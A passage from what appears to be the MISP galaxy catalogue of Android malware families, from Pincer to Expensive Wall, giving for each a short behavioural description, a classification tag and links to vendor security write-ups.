Pincer is a Trojan horse for Android devices that steals confidential information and opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Pincer"*

Table 342. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052307-3530-99

Pirator

Pirator is a Trojan horse on the Android platform that downloads files and steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Pirator"*

Table 343. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-021609-5740-99

Pjapps

Pjapps is a Trojan horse that has been embedded on third party applications and opens a back door on the compromised device. It retrieves commands from a remote command and control server.

The tag is: *misp-galaxy:android="Pjapps"*

Table 344. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-022303-3344-99

Pjapps.B

Pjapps.B is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Pjapps.B"*

Table 345. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032014-1624-99

Pletora

Pletora is a is a Trojan horse for Android devices that may lock the compromised device. It then asks the user to pay in order to unlock the device.

The tag is: *misp-galaxy:android="Pletora"*

Table 346. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061217-4345-99

Poisoncake

Poisoncake is a Trojan horse for Android devices that opens a back door on the compromised device. It may also download potentially malicious files and steal information.

The tag is: *misp-galaxy:android="Poisoncake"*

Table 347. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-010610-0726-99

Pontiflex

Pontiflex is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Pontiflex"*

Table 348. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-0946-99

Positmob

Positmob is a Trojan horse program for Android devices that sends SMS messages to premium rate phone numbers.

The tag is: *misp-galaxy:android="Positmob"*

Table 349. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111409-1556-99

Premiumtext

Premiumtext is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. These Trojans will often be repackaged versions of genuine Android software packages, often distributed outside the Android Marketplace.

The tag is: *misp-galaxy:android="Premiumtext"*

Table 350. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080213-5308-99

Pris

Pris is a Trojan horse for Android devices that silently downloads a malicious application and attempts to open a back door on the compromised device.

The tag is: *misp-galaxy:android="Pris"*

Table 351. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061820-5638-99

Qdplugin

Qdplugin is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Qdplugin"*

Table 352. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102510-3330-99

Qicsomos

Qicsomos is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Qicsomos"*

Table 353. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011007-2223-99

Qitmo

Qitmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Qitmo"*

Table 354. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030716-4923-99

Rabbhome

Rabbhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Rabbhome"*

Table 355. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-053007-3750-99

Repane

Repane is a Trojan horse for Android devices that steals information and sends SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Repane"*

Table 356. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090411-5052-99

Reputation.1

Reputation.1 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: *misp-galaxy:android="Reputation.1"*

Table 357. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022612-2619-99

Reputation.2

Reputation.2 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: *misp-galaxy:android="Reputation.2"*

Table 358. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-2629-99

Reputation.3

Reputation.3 is a detection for Android files based on analysis performed by Norton Mobile Insight.

The tag is: *misp-galaxy:android="Reputation.3"*

Table 359. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-3126-99

RevMob

RevMob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="RevMob"*

Table 360. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040308-0502-99

Roidsec

Roidsec is a Trojan horse for Android devices that steals confidential information.

The tag is: *misp-galaxy:android="Roidsec"*

Table 361. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052022-1227-99

Rootcager

Rootcager is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Rootcager"*

Table 362. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-030212-1438-99

Rootnik

Rootnik is a Trojan horse for Android devices that steals information and downloads additional apps.

The tag is: *misp-galaxy:android="Rootnik"*

View relationships graph

Rootnik has relationships with:

- similar: misp-galaxy:malpedia="Rootnik" with estimative-language:likelihood-probability="likely"

Table 363. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2016-062710-0328-99

Rufraud

Rufraud is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Rufraud"*

Table 364. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121306-2304-99

Rusms

Rusms is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: *misp-galaxy:android="Rusms"*

Table 365. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061711-5009-99

Samsapo

Samsapo is a worm for Android devices that spreads by sending SMS messages to all contacts stored on the compromised device. It also opens a back door and downloads files.

The tag is: *misp-galaxy:android="Samsapo"*

Table 366. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050111-1908-99

Sandorat

Sandorat is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals information.

The tag is: *misp-galaxy:android="Sandorat"*

Table 367. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-110720-2146-99

Sberick

Sberick is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Sberick"*

Table 368. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071014-2146-99

Scartibro

Scartibro is a Trojan horse for Android devices that locks the compromised device and asks the user to pay in order to unlock it.

The tag is: *misp-galaxy:android="Scartibro"*

Table 369. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-080718-2038-99

Scipiex

Scipiex is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Scipiex"*

Table 370. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100814-4702-99

Selfmite

Selfmite is a worm for Android devices that spreads through SMS messages.

The tag is: *misp-galaxy:android="Selfmite"*

Table 371. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070111-5857-99

Selfmite.B

Selfmite.B is a worm for Android devices that displays ads on the compromised device. It spreads through SMS messages.

The tag is: *misp-galaxy:android="Selfmite.B"*

Table 372. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101013-4717-99

SellARing

SellARing is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="SellARing"*

Table 373. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-3157-99

SendDroid

SendDroid is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="SendDroid"*

Table 374. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-2111-99

Simhosy

Simhosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Simhosy"*

Table 375. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061013-3955-99

Simplocker

Simplocker is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: *misp-galaxy:android="Simplocker"*

Table 376. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060610-5533-99

Simplocker.B

Simplocker.B is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.

The tag is: *misp-galaxy:android="Simplocker.B"*

Table 377. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072317-1950-99

Skullkey

Skullkey is a Trojan horse for Android devices that gives the attacker remote control of the compromised device to perform malicious activity.

The tag is: *misp-galaxy:android="Skullkey"*

Table 378. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072322-5422-99

Smaato

Smaato is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Smaato"*

Table 379. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052622-1755-99

Smbcheck

Smbcheck is a hacktool for Android devices that can trigger a Server Message Block version 2 (SMBv2) vulnerability and may cause the target computer to crash.

The tag is: *misp-galaxy:android="Smbcheck"*

Table 380. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-5634-99

Smsblocker

Smsblocker is a generic detection for threats on Android devices that block the transmission of SMS messages.

The tag is: *misp-galaxy:android="Smsblocker"*

Table 381. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081607-4001-99

Smsbomber

Smsbomber is a program that can be used to send messages to contacts on the device.

The tag is: *misp-galaxy:android="Smsbomber"*

Table 382. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112611-5837-99

Smslink

Smslink is a Trojan horse for Android devices that may send malicious SMS messages from the compromised device. It may also display advertisements.

The tag is: *misp-galaxy:android="Smslink"*

Table 383. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112600-3035-99

Smspacem

Smspacem is a Trojan horse that may send SMS messages from Android devices.

The tag is: *misp-galaxy:android="Smspacem"*

Table 384. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-052310-1322-99

SMSReplicator

SMSReplicator is a spying utility that will secretly transmit incoming SMS messages to another phone of the installer's choice.

The tag is: *misp-galaxy:android="SMSReplicator"*

Table 385. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-110214-1252-99

Smssniffer

Smssniffer is a Trojan horse that intercepts SMS messages on Android devices.

The tag is: *misp-galaxy:android="Smssniffer"*

Table 386. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071108-3626-99

Smsstealer

Smsstealer is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Smsstealer"*

Table 387. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121514-0214-99

Smstibook

Smstibook is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: *misp-galaxy:android="Smstibook"*

Table 388. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051207-4833-99

Smszombie

Smszombie is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Smszombie"*

Table 389. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082011-0922-99

Snadapps

Snadapps is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Snadapps"*

Table 390. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071807-3111-99

Sockbot

Sockbot is a Trojan horse for Android devices that creates a SOCKS proxy on the compromised device.

The tag is: *misp-galaxy:android="Sockbot"*

Table 391. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-101314-1353-99

Sockrat

Sockrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Sockrat"*

View relationships graph

Sockrat has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 392. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-110509-4646-99

Sofacy

Sofacy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Sofacy"*

View relationships graph

Sofacy has relationships with:

- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"

Table 393. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-010508-5201-99

Sosceo

Sosceo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Sosceo"*

Table 394. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040408-0609-99

Spitmo

Spitmo is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Spitmo"*

Table 395. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091407-1435-99

Spitmo.B

Spitmo.B is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Spitmo.B"*

Table 396. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-0445-99

Spyagent

Spyagent is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: *misp-galaxy:android="Spyagent"*

Table 397. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090710-1836-99

Spybubble

Spybubble is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: *misp-galaxy:android="Spybubble"*

Table 398. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121917-0335-99

Spydafon

Spydafon is a Potentially Unwanted Application for Android devices that monitors the affected device.

The tag is: *misp-galaxy:android="Spydafon"*

Table 399. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030722-4740-99

Spymple

Spymple is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Spymple"*

Table 400. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-5403-99

Spyoo

Spyoo is a spyware program for Android devices that records and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Spyoo"*

Table 401. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081709-0457-99

Spytekcell

Spytekcell is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Spytekcell"*

Table 402. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121021-0730-99

Spytrack

Spytrack is a spyware program for Android devices that periodically sends certain information to a remote location.

The tag is: *misp-galaxy:android="Spytrack"*

Table 403. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080109-5710-99

Spywaller

Spywaller is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Spywaller"*

Table 404. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-121807-0203-99

Stealthgenie

Stealthgenie is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Stealthgenie"*

Table 405. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111416-1306-99

Steek

Steek is a potentially unwanted application that is placed on a download website for Android applications and disguised as popular applications.

The tag is: *misp-galaxy:android="Steek"*

Table 406. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010911-3142-99

Stels

Stels is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Stels"*

Table 407. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032910-0254-99

Stiniter

Stiniter is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Stiniter"*

Table 408. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030903-5228-99

Sumzand

Sumzand is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Sumzand"*

Table 409. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080308-2851-99

Sysecsms

Sysecsms is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Sysecsms"*

Table 410. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-122714-5228-99

Tanci

Tanci is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tanci"*

Table 411. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4108-99

Tapjoy

Tapjoy is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tapjoy"*

Table 412. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-4702-99

Tapsnake

Tapsnake is a Trojan horse for Android phones that is embedded into a game. It tracks the phone's location and posts it to a remote web service.

The tag is: *misp-galaxy:android="Tapsnake"*

Table 413. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-081214-2657-99

Tascudap

Tascudap is a Trojan horse for Android devices that uses the compromised device in denial of service attacks.

The tag is: *misp-galaxy:android="Tascudap"*

Table 414. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121312-4547-99

Teelog

Teelog is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Teelog"*

Table 415. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040215-2736-99

Temai

Temai is a Trojan horse for Android applications that opens a back door and downloads malicious files onto the compromised device.

The tag is: *misp-galaxy:android="Temai"*

Table 416. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091722-4052-99

Tetus

Tetus is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Tetus"*

Table 417. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012409-4705-99

Tgpush

Tgpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Tgpush"*

Table 418. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032816-0259-99

Tigerbot

Tigerbot is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Tigerbot"*

Table 419. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041010-2221-99

Tonclank

Tonclank is a Trojan horse that steals information and may open a back door on Android devices.

The tag is: *misp-galaxy:android="Tonclank"*

Table 420. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-061012-4545-99

Trogle

Trogle is a worm for Android devices that may steal information from the compromised device.

The tag is: *misp-galaxy:android="Trogle"*

Table 421. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-081213-5553-99

Twikabot

Twikabot is a Trojan horse for Android devices that attempts to steal information.

The tag is: *misp-galaxy:android="Twikabot"*

Table 422. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062614-5813-99

Uapush

Uapush is a Trojan horse for Android devices that steals information from the compromised device. It may also display advertisements and send SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Uapush"*

Table 423. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040114-2910-99

Umeng

Umeng is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Umeng"*

Table 424. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5749-99

Updtbot

Updtbot is a Trojan horse for Android devices that may arrive through SMS messages. It may then open a back door on the compromised device.

The tag is: *misp-galaxy:android="Updtbot"*

Table 425. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041611-4136-99

Upush

Upush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Upush"*

Table 426. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-0733-99

Uracto

Uracto is a Trojan horse for Android devices that steals personal information and sends spam SMS messages to contacts found on the compromised device.

The tag is: *misp-galaxy:android="Uracto"*

Table 427. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031805-2722-99

Uranico

Uranico is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Uranico"*

Table 428. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052803-3835-99

Usbcleaver

Usbcleaver is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Usbcleaver"*

Table 429. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062010-1818-99

Utchi

Utchi is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Utchi"*

Table 430. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-2536-99

Uten

Uten is a Trojan horse for Android devices that may send, block, and delete SMS messages on a compromised device. It may also download and install additional applications and attempt to gain root privileges.

The tag is: *misp-galaxy:android="Uten"*

Table 431. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-092316-4752-99

Uupay

Uupay is a Trojan horse for Android devices that steals information from the compromised device. It may also download additional malware.

The tag is: *misp-galaxy:android="Uupay"*

Table 432. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061714-1550-99

Uxipp

Uxipp is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: *misp-galaxy:android="Uxipp"*

Table 433. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060910-5804-99

Vdloader

Vdloader is a Trojan horse for Android devices that opens a back door on the compromised device and steals confidential information.

The tag is: *misp-galaxy:android="Vdloader"*

Table 434. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080209-1420-99

VDopia

VDopia is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="VDopia"*

Table 435. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-1559-99

Virusshield

Virusshield is a Trojan horse for Android devices that claims to scan apps and protect personal information, but has no real functionality.

The tag is: *misp-galaxy:android="Virusshield"*

Table 436. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040810-5457-99

VServ

VServ is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="VServ"*

Table 437. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-3117-99

Walkinwat

Walkinwat is a Trojan horse that steals information from the compromised device.

The tag is: *misp-galaxy:android="Walkinwat"*

Table 438. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-033008-4831-99

Waps

Waps is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Waps"*

Table 439. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040406-5437-99

Waren

Waren is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Waren"*

Table 440. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5501-99

Windseeker

Windseeker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Windseeker"*

Table 441. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101519-0720-99

Wiyun

Wiyun is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Wiyun"*

Table 442. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-5646-99

Wooboo

Wooboo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Wooboo"*

Table 443. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-5829-99

Wqmobile

Wqmobile is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Wqmobile"*

Table 444. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4926-99

YahooAds

YahooAds is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="YahooAds"*

Table 445. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-3229-99

Yatoot

Yatoot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Yatoot"*

Table 446. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031408-4748-99

Yinhan

Yinhan is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Yinhan"*

Table 447. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-3350-99

Youmi

Youmi is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Youmi"*

Table 448. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4318-99

YuMe

YuMe is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="YuMe"*

Table 449. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-0322-99

Zeahache

Zeahache is a Trojan horse that elevates privileges on the compromised device.

The tag is: *misp-galaxy:android="Zeahache"*

Table 450. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-032309-5042-99

ZertSecurity

ZertSecurity is a Trojan horse for Android devices that steals information and sends it to a remote attacker.

The tag is: *misp-galaxy:android="ZertSecurity"*

Table 451. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-050820-4100-99

ZestAdz

ZestAdz is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="ZestAdz"*

Table 452. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052616-3821-99

Zeusmitmo

Zeusmitmo is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Zeusmitmo"*

Table 453. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080818-0448-99

SLocker

The SLocker family is one of the oldest mobile lock screen and file-encrypting ransomware and used to impersonate law enforcement agencies to convince victims to pay their ransom.

The tag is: *misp-galaxy:android="SLocker"*

SLocker is also known as:

- SMSLocker

Table 454. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-ransomware-pocket-sized-badness/
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/

Loapi

A malware strain known as Loapi will damage phones if users don't remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone's components, which will make the battery bulge, deform the phone's cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.

The tag is: *misp-galaxy:android="Loapi"*

Table 455. Table References

Links
https://www.bleepingcomputer.com/news/security/android-malware-will-destroy-your-phone-no-ifs-and-buts-about-it/

Podec

Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.

The tag is: *misp-galaxy:android="Podec"*

Table 456. Table References

Links
https://securelist.com/sms-trojan-bypasses-captcha/69169//

Chamois

Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device's app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.

The tag is: *misp-galaxy:android="Chamois"*

Table 457. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html

IcicleGum

IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library's code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.

The tag is: *misp-galaxy:android="IcicleGum"*

View relationships graph

IcicleGum has relationships with:

- similar: misp-galaxy:android="Igexin" with estimative-language:likelihood-probability="likely"

Table 458. Table References

Links
https://blog.lookout.com/igexin-malicious-sdk
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

BreadSMS

BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user’s consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.

The tag is: *misp-galaxy:android="BreadSMS"*

Table 459. Table References

Links
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

JamSkunk

JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network’s WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.

The tag is: *misp-galaxy:android="JamSkunk"*

Table 460. Table References

Links
https://blog.fosec.vn/malicious-applications-stayed-at-google-appstore-for-months-d8834ff4de59
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf

Expensive Wall

Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017.

